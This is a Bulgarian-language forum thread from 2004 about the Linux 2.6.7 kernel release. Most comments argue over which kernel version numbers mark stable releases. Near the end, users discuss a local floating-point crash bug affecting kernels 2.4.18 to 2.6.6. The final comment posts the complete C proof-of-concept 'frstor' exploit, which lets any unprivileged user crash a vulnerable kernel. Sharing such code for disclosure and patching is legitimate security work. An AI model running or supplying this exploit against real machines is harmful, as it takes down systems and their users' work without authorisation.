Инсталирах го за проба. Работи си.

[Отговори на този коментар]

Към: Вече го имам :-)
От: hazy_fakie
На: 16-06-2004@21:33 GMT+2
Оценка: /

хех, това е стабилна версия, защо да не работи? :)

[Отговори на този коментар]

---

Към: Към: Вече го имам :-)
От: suren <surenz__at__mail__dot__bg>
На: 16-06-2004@23:27 GMT+2
Оценка: /

защото и предната беше финална ама като рестартирах ми спираше шпиндела на харда.тука са оправили този проблем

[Отговори на този коментар]

---

Стабилните са четни Факи!

2.6.6. е стабилно, 2.6.8 ще бъде стабилно. 2.6.7 е "хакерско", подобно на всички нечетни и в него се чистят бъгове и се пробват добавки...

Прав си в едно - на фона на всичко М$, които дори не са цели числа, това е СТАБИЛНО. ;)

[Отговори на този коментар]

сигурен ли си
От: m.a.x.
На: 17-06-2004@6:10 GMT+2
Оценка: /

Не са ли хакерски тези
2.3.x     2.5.x
А тези 2.4.x   2.6.x
винаги си вървят едно след друго 1,2,3...  


[Отговори на този коментар]

---

Към: хе-хе стабилна...
От: fire
На: 17-06-2004@6:49 GMT+2
Оценка: /

Малко се бъркаш ;)
Ето как се прави версията:

<1>.<2>.<3>

1. версия
2. подверсия - четно = стабилна, нечетно = нестеабилна
3. *модификация* (при някои по-малки проекти дори се препоръчва да е броят на промените)


Така че за нечетната версия, никога не се гледа последната цифра

[Отговори на този коментар]

---

Към: хе-хе стабилна...
От: .
На: 17-06-2004@6:54 GMT+2
Оценка: /

Да прав си, че четните са стабилни- 2.2.х, 2.4.х, 2.6.х, а нечетните са хакерски- 2.3.х, 2.5.х. Така че, 2.6.7 си е стабилна версия!!!

Ае със здраве!

[Отговори на този коментар]

---

Не е така: Тестови ("хакерски") версии са всички версии с нечетна цифра за подверсията, т.е. 2.1.x, 2.3.x, 2.5.x. Стабилни са версиите с четна цифра за подверсията или 2.2.x, 2.4.x, 2.6.x. Не мисля, че пач версията има значение за това дали версията е стабилна или не. По-скоро колкото е по-висока висока пач версията ядрото е по-изпитано и изчистено от към бъгове, т.е. още по стабилно от обявяването на първата стабилна версия. Опровергайте ме.

[Отговори на този коментар]

;)
От: Chashko <veselinov __@__ bol< dot >bg>
На: 17-06-2004@9:52 GMT+2
Оценка: /

Какво е значението...
Както беше при 2.6.5 и 2.6.6 никой не знае колко точно стабилна ще бъде... Така че тествайте.... и пишете.... аз лично я намирам за стабилна ;)
Важното е че е налице!!!

[Отговори на този коментар]

---

Към: Към: хе-хе стабилна...
От: Александър Панов <a_panov (a) mail< dot >ru>
На: 21-06-2004@4:53 GMT+2
Оценка: /

X.Y.Z
X - отразява "номера" на ядрото и се променя на 2 или 3 години когато то самото придобие по добра функционалност

Y - "текуща версия на ядрото" четните 2, 4 са стабилни а нечетните са нестабилни или още се наричат тестови защото в тях се вкарват новите функционалности и възможности (които евентуално ще гърмят)

Z - "текуща версия на ядрото" може да се именува и с двуцифрено число. Това и номера за всекидневното издание на дадено ядро - 2, 21, 22, 26, 28, 3, 31, 32, 4, 5, 6, 61 и т.н.

[Отговори на този коментар]

---

"" The kernel numbering system aims to help people determine the level of stability in a certain version. Versions r.x.y, where x is an even number, are stable versions; y increments as bug fixes are applied. In other words, from version 2.0.2 to 2.0.3, there were only bug fixes, not new features. When x is an odd number, the version is a beta releases for developers only. These may be unstable and crash, and are having new features added to them all the time. ""

При номерация от типа А.Б.В. "Б" указва дали версията е стабилна или хакерска (четни=стабилни, нечетни=хакерски), а "В" показва единствено коя подеред кръпка (пач) е добавен.

Както писах, не съм прав и се извинявам за смелото и крайно неинформирано изказване.

Смит

[Отговори на този коментар]

Не е ли по-важно,че 2.6.7 коригира огромна дупка в сигурноста свързана с Floating point exception на 2.4.18 - 2.6.6 ядра, която може да бъде използвана от всеки потребител и без роот права с помоща на елементарна С-програмка от около 25 реда?!?!?!

[Отговори на този коментар]

Към: Не е ли по-важно, че ...
От: SMITH
На: 17-06-2004@14:49 GMT+2
Оценка: /

По-важно е разбира се. :)

[Отговори на този коментар]

---

Към: Към: Не е ли по-важно, че ...
От: hazy_fakie
На: 18-06-2004@14:35 GMT+2
Оценка: /

ми не е особено по-важно, защото тази проблем може да бъде експлоатиран само ако имаш локален достъп то машината, т.е., шел.
в повечето случаи, ако вече имаш локален достъп до машината ще се опитваш да я руутнеш :) вместо да е забиеш
пък и повече проблеми, които се считат за важни не изискват локален достъп

[Отговори на този коментар]

---

/* --------------------
  * frstor Local Kernel exploit
  * Crashes any kernel from 2.4.18
  * to 2.6.7 because frstor in assembler
  * inline offsets in memory by 4.
  * Original proof of concept code
  * by stian_@_nixia.no.
  * Added some stuff by lorenzo_@_gnu.org
  * and fixed the fsave line with (*fpubuf).
  * --------------------
  */
 
 /*
 ---------
 Some debugging information made
 available by stian_@_nixia.no
 ---------
 TakeDown:
         pushl   %ebp
         movl    %esp, %ebp
         subl    $136, %esp
         leal    -120(%ebp), %eax
         movl    %eax, -124(%ebp)
 #APP
         fsave -124(%ebp)
 
 #NO_APP
         subl    $4, %esp
         pushl   $1
         pushl   $.LC0
         pushl   $2
         call    write
         addl    $16, %esp
         leal    -120(%ebp), %eax
         movl    %eax, -128(%ebp)
 #APP
         frstor -128(%ebp)
 
 #NO_APP
         leave
         ret
 */
 
 #include <sys/time.h>
 #include <signal.h>
 #include <unistd.h>
 
 static void TakeDown(int ignore)
 {
  char fpubuf[108];
 // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
 __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
 }
 
 int main(int argc, char *argv[])
 {
  struct itimerval spec;
  signal(SIGALRM, TakeDown);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &spec, NULL);
  while(1)
   write(1, ".", 1);
 
  return 0;
 }
 // <<EOF


http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html#toc1


[Отговори на този коментар]